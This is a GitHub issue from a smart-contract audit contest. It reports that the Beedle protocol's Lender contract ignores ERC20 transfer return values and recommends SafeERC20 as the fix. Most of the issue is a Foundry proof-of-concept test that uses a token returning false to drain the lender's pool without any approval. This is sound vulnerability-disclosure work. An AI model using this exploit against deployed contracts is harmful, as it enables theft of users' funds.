Cyfrin / 2023-07-beedle

21 stars 20 forks source link

Unhandled return values of transfer and transferFrom enable a variety of attack paths #300

Closed codehawks-bot closed 1 year ago

codehawks-bot commented 1 year ago

Unhandled return values of transfer and transferFrom enable a variety of attack paths

Severity

High Risk

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-beedle/blob/658e046bda8b010a5b82d2d85e824f3823602d27/src/Lender.sol#L152-L156

Summary

ERC20 implementations are not always consistent. Some implementations of transfer and transferFrom could return ‘false’ on failure instead of reverting. It is safer to wrap such calls into require() statements to these failures. Otherwise this vulnerability can be maliciously used in multiple ways inside the contracts. For example by taking out a loan without providing collateral or creating pools without providing liquidity into the contract. This gives direct attack paths to steal funds.

Vulnerability Details

Unhandled transfer / transferFrom function calls occur multiple times inside the contracts and allow different attack paths.

The following POC code shows one of these possible attack paths, it can be implemented inside the current test folder of the repo.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../../src/Lender.sol";

import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";

contract TestERC20 is ERC20 {

    constructor() ERC20("TestRC20", "TERC20") {}

    function mint(address account, uint256 amount) external {
        _mint(account, amount);
    }

    // transferFrom function overwritten so that it returns true / false instead of reverting
    function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
        address spender = _msgSender();

        uint256 currentAllowance = allowance(from, spender);
        if (currentAllowance != type(uint256).max) {
            if (currentAllowance < amount) {
            return false;
        }
            unchecked {
                _approve(from, spender, currentAllowance - amount);
            }
        }

        _transfer(from, to, amount);
        return true;
    }
}

contract UnhandledReturnValuesTest is Test {
    Lender public lender;

    TestERC20 public loanToken;
    TestERC20 public collateralToken;

    address public attacker = vm.addr(1);

    function setUp() public {

        lender = new Lender();
        loanToken = new TestERC20();
        collateralToken = new TestERC20();

        loanToken.mint(address(lender), 1000 * 10 ** 18);
        loanToken.mint(attacker, 1000 * 10 ** 18);
    }

    function test_unhandled_return_values() public {
        // both start with 1000 loanTokens
        assertEq(loanToken.balanceOf(address(lender)), 1000 * 10 ** 18);
        assertEq(loanToken.balanceOf(attacker), 1000 * 10 ** 18);

        vm.startPrank(attacker);
        // attacker does not approve the tokens to be spent by the lender
        Pool memory p = Pool({
            lender: attacker,
            loanToken: address(loanToken),
            collateralToken: address(collateralToken),
            minLoanSize: 100*10**18,
            poolBalance: 1000*10**18,
            maxLoanRatio: 2*10**18,
            auctionLength: 1 days,
            interestRate: 1000,
            outstandingLoans: 0
        });
        lender.setPool(p);
        bytes32 poolId = lender.getPoolId(attacker, address(loanToken), address(collateralToken));
        lender.removeFromPool(poolId, 1000*10**18);
        vm.stopPrank();

        // now the attacker has them all
        assertEq(loanToken.balanceOf(address(lender)), 0);
        assertEq(loanToken.balanceOf(attacker), 2000 * 10 ** 18);
    }
}

Impact

There are a lot of different ways to use this vulnerability, for example:

Tools Used

Manual Review, Foundry, VSCode

Recommendations

Use OpenZeppelins SafeERC20, or a similar security technique in all contracts, which call transfer or transferFrom on any token.

PatrickAlphaC commented 1 year ago

known : https://github.com/Cyfrin/2023-07-beedle/issues/2#L-1